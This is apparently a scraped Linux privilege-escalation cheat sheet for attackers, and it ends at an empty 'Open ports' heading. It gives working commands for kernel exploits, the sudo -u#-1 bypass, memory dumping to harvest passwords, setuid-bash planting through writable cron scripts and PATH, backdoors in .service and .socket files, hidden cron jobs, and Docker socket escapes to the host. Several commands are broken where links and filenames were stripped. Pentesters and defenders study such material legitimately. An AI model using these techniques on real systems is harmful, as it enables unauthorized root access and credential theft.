Linux Privilege Escalation

System Information

OS info

Let's start gaining some knowledge of the OS running
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems


If you have write permissions on any folder inside the PATH variable you may be able to hijack some libraries or binaries:
echo $PATH

Env info

Interesting information, passwords or API keys in the environment variables?
(env || set) 2>/dev/null

Kernel exploits

Check the kernel version and if there is some exploit that can be used to escalate privileges
cat /proc/version
uname -a
searchsploit "Linux Kernel"
You can find a good vulnerable kernel list and some already compiled exploits here: and exploitdb sploits. Other sites where you can find some compiled exploits:,โ€‹
To extract all the vulnerable kernel versions from that web you can do:
curl 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
Tools that could help to search for kernel exploits are:
โ€‹ (execute IN victim,only checks exploits for kernel 2.x)
Always search the kernel version in Google, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid.

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

Sudo version

Based on the vulnerable sudo versions that appear in:
searchsploit sudo
You can check if the sudo version is vulnerable using this grep.
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

From @sickrov
sudo -u#-1 /bin/bash

Dmesg signature verification failed

Check smasher2 box of HTB for an example of how this vuln could be exploited
dmesg 2>/dev/null | grep "signature"

More system enumeration

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Enumerate possible defenses


if [ `which aa-status 2>/dev/null` ]; then
elif [ `which apparmor_status 2>/dev/null` ]; then
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
echo "Not found AppArmor"


((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")


(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")


(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")


(sestatus 2>/dev/null || echo "Not found sestatus")


cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

If you are inside a docker container you can try to escape from it:


Check what is mounted and unmounted, where and why. If anything is unmounted you could try to mount it and check for private info
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Useful software

Enumerate useful binaries
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
Also, check if any compiler is installed. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it (or in one similar)
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Vulnerable Software Installed

Check for the version of the installed packages and services. Maybe there is some old Nagios version (for example) that could be exploited for escalating privilegesโ€ฆ It is recommended to check manually the version of the more suspicious installed software.
dpkg -l #Debian
rpm -qa #Centos
If you have SSH access to the machine you could also use openVAS to check for outdated and vulnerable software installed inside the machine.
Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some applications like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits


Take a look at what processes are being executed and check if any process has more privileges than it should (maybe a tomcat being executed by root?)
ps aux
ps -ef
top -n 1
Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas detect those by checking the --inspect parameter inside the command line of the process. Also check your privileges over the processes binaries, maybe you can overwrite someone.

Process monitoring

You can use tools like pspy to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.

Process memory

Some services of a server save credentials in clear text inside the memory. Normally you will need root privileges to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials. However, remember that as a regular user you can read the memory of the processes you own.
Note that nowadays most machines don't allow ptrace by default which means that you cannot dump other processes that belong to your unprivileged user.
The file /proc/sys/kernel/yama/ptrace_scope controls the accessibility of ptrace:
  • kernel.yama.ptrace_scope = 0: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked.
  • kernel.yama.ptrace_scope = 1: only a parent process can be debugged.
  • kernel.yama.ptrace_scope = 2: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability.
  • kernel.yama.ptrace_scope = 3: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.


If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials.
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB Script
#./ <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \

/proc/$pid/maps & /proc/$pid/mem

For a given process ID, **maps show how memory is mapped within that process's **virtual address space; it also shows the permissions of each mapped region. The mem pseudo file exposes the processes memory itself. From the maps file we know which memory regions are readable and their offsets. We use this information to seek into the mem file and dump all readable regions to a file.
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin


/dev/mem provides access to the system's physical memory, not the virtual memory. The kernel's virtual address space can be accessed using /dev/kmem. Typically, /dev/mem is only readable by root and kmem group.
strings /dev/mem -n10 | grep -i PASS

ProcDump for linux

ProcDump is a Linux reimagining of the classic ProcDump tool from the Sysinternals suite of tools for Windows. Get it inโ€‹
procdump -p 1714
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714


To dump a process memory you could use:

Credentials from Process Memory

Manual example

If you find that the authenticator process is running:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
You can dump the process (see before sections to find different ways to dump the memory of a process) and search for credentials inside the memory:
./ 2027
strings *.dump | grep -i password


The tool will steal clear text credentials from memory and from some well known files. It requires root privileges to work properly.
Process Name
GDM password (Kali Desktop, Debian Desktop)
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)
LightDM (Ubuntu Desktop)
VSFTPd (Active FTP Connections)
Apache2 (Active HTTP Basic Auth Sessions)
OpenSSH (Active SSH Sessions - Sudo Usage)

Search Regexes/truffleprocโ€‹

# un against your current Bash shell (e.g. $$)
./ $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/
Reading symbols from /lib/x86_64-linux-gnu/
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Scheduled/Cron jobs

Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?).
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron path

For example, inside /etc/crontab you can find the PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
(Note how the user "user" has writing privileges over /home/user)
If inside this crontab the root user tries to execute some command or script without setting the path. For example: * * * * root Then, you can get a root shell by using:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron using a script with a wildcard (Wildcard Injection)

If a script is executed by root has a โ€œ*โ€ inside a command, you could exploit this to make unexpected things (like privesc). Example:
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh" so the script will execute our script
If the wildcard is preceded of a path like /some/path/* , it's not vulnerable (even ./* is not).
Read the following page for more wildcard exploitation tricks:
If you can modify a cron script executed by root, you can get a shell very easily:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
If the script executed by root uses a directory where you have full access, maybe it could be useful to delete that folder and create a symlink folder to another one serving a script controlled by you

Frequent cron jobs

You can monitor the processes to search for processes that are being executed every 1, 2 or 5 minutes. Maybe you can take advantage of it and escalate privileges.
For example, to monitor every 0.1s during 1 minute, sort by less executed commands and delete the commands that have been executed the most, you can do:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
You can also use pspy (this will monitor and list every process that starts).

Invisible cron jobs

It's possible to create a cronjob putting a carriage return after a comment (without newline character), and the cron job will work. Example (note the carriage return char):
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"


Writable .service files

Check if you can write any .service file, if you can, you could modify it so it executes your backdoor when the service is started, restarted or stopped (maybe you will need to wait until the machine is rebooted). For example create your backdoor inside the .service file with ExecStart=/tmp/

Writable service binaries

Keep in mind that if you have write permissions over binaries being executed by services, you can change them for backdoors so when the services get re-executed the backdoors will be executed.

systemd PATH - Relative Paths

You can see the PATH used by systemd with:
systemctl show-environment
If you find that you can write in any of the folders of the path you may be able to escalate privileges. You need to search for relative paths being used on service configurations files like:
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
Then, create an executable with the same name as the relative path binary inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (Start, Stop, Reload), your backdoor will be executed (unprivileged users usually cannot start/stop services but check if you can use sudo -l).
Learn more about services with man systemd.service.


Timers are systemd unit files whose name ends in **.timer** that control **.service** files or events. Timers can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously.
You can enumerate all the timers with:
systemctl list-timers --all

Writable timers

If you can modify a timer you can make it execute some existents of systemd.unit (like a .service or a .target)
In the documentation you can read what the Unit is:
The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.
Therefore, to abuse this permission you would need to:
  • Find some systemd unit (like a .service) that is executing a writable binary
  • Find some systemd unit that is executing a relative path and you have writable privileges over the systemd PATH (to impersonate that executable)
Learn more about timers with man systemd.timer.

Enabling Timer

To enable a timer you need root privileges and to execute:
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/ โ†’ /lib/systemd/system/backu2.timer.
Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer


In brief, a Unix Socket (technically, the correct name is Unix Domain Socket, UDS) allows communication between two different processes on either the same machine or different machines in client-server application frameworks. To be more precise, itโ€™s a way of communicating among computers using a standard Unix descriptors file. (From here).
Sockets can be configured using .socket files.
Learn more about sockets with man systemd.socket. Inside this file, several interesting parameters can be configured:
  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: These options are different but a summary is used to indicate where it is going to listen to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.)
  • Accept: Takes a boolean argument. If true, a service instance is spawned for each incoming connection and only the connection socket is passed to it. If false, all listening sockets themselves are passed to the started service unit, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. Defaults to false. For performance reasons, it is recommended to write new daemons only in a way that is suitable for Accept=no.
  • ExecStartPre, ExecStartPost: Takes one or more command lines, which are executed before or after the listening sockets/FIFOs are created and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.
  • ExecStopPre, ExecStopPost: Additional commands that are executed before or after the listening sockets/FIFOs are closed and removed, respectively.
  • Service: Specifies the service unit name to activate on incoming traffic. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.

Writable .socket files

If you find a writable .socket file you can add at the beginning of the [Socket] section something like: ExecStartPre=/home/kali/sys/backdoor and the backdoor will be executed before the socket is created. Therefore, you will probably need to wait until the machine is rebooted. Note that the system must be using that socket file configuration or the backdoor won't be executed

Writable sockets

If you identify any writable socket (now we are talking about Unix Sockets and not about the config .socket files), then you can communicate with that socket and maybe exploit a vulnerability.

Enumerate Unix Sockets

netstat -a -p --unix

Raw connection

#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
Exploitation example:

HTTP sockets

Note that there may be some sockets listening for HTTP requests (I'm not talking about .socket files but the files acting as unix sockets). You can check this with:
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
If the socket responds with an HTTP request, then you can communicate with it and maybe exploit some vulnerability.

Writable Docker Socket

The docker socket is typically located at /var/run/docker.sock and is only writable by the root user and docker group. If for some reason you have write permissions over that socket you can escalate privileges. The following commands can be used to escalate privileges:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Use docker web API from socket without docker package

If you have access to docker socket but you can't use the docker binary (maybe it isn't even installed), you can use the web API directly with curl.
The following commands are an example of how to create a docker container that mounts the root of the host system and use socat to execute commands into the new docker.
# List docker images
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
# Send JSON to docker API to create the container
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
The last step is to use socat to initiate a connection to the container, sending an "attach" request
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Connection: Upgrade
Upgrade: tcp
#Content-Type: application/vnd.docker.raw-stream
#Connection: Upgrade
#Upgrade: tcp
Now, you can execute commands on the container from this socat connection.


Note that if you have write permissions over the docker socket because you are inside the group docker you have more ways to escalate privileges. If the docker API is listening in a port you can also be able to compromise it.
Check more ways to break out from docker or abuse it to escalate privileges in:

Containerd (ctr) privilege escalation

If you find that you can use the ctr command read the following page as you may be able to abuse it to escalate privileges:

RunC privilege escalation

If you find that you can use the runc command read the following page as you may be able to abuse it to escalate privileges:


D-BUS is an inter-Process Communication (IPC) system, providing a simple yet powerful mechanism allowing applications to talk to one another, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system.
As a full-featured IPC and object system, D-BUS has several intended uses. First, D-BUS can perform basic application IPC, allowing one process to shuttle data to anotherโ€”think UNIX domain sockets on steroids. Second, D-BUS can facilitate sending events, or signals, through the system, allowing different components in the system to communicate and ultimately integrate better. For example, a Bluetooth daemon can send an incoming call signal that your music player can intercept, muting the volume until the call ends. Finally, D-BUS implements a remote object system, letting one application request services and invoke methods from a different objectโ€”think CORBA without the complications. (From here).
D-Bus uses an allow/deny model, where each message (method call, signal emission, etc.) can be allowed or denied according to the sum of all policy rules which match it. Each rule in the policy should have the own, send_destination or receive_sender attribute set.
Part of the policy of /etc/dbus-1/system.d/wpa_supplicant.conf:
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
Therefore, if a policy is allowing your user in any way to interact with the bus, you could be able to exploit it to escalate privileges (maybe just listing for some passwords?).
Note that a policy that doesn't specify any user or group affects everyone (<policy>). Policies to the context "default" affects everyone not affected by other policies (<policy context="default").
Learn how to enumerate and exploit a D-Bus communication here:


It's always interesting to enumerate the network and figure out the position of the machine.

Generic enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
cat /etc/networks
(ifconfig || ip a)
(arp -e || arp -a)
(route || ip n)
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
#Files used by network services
lsof -i

Open ports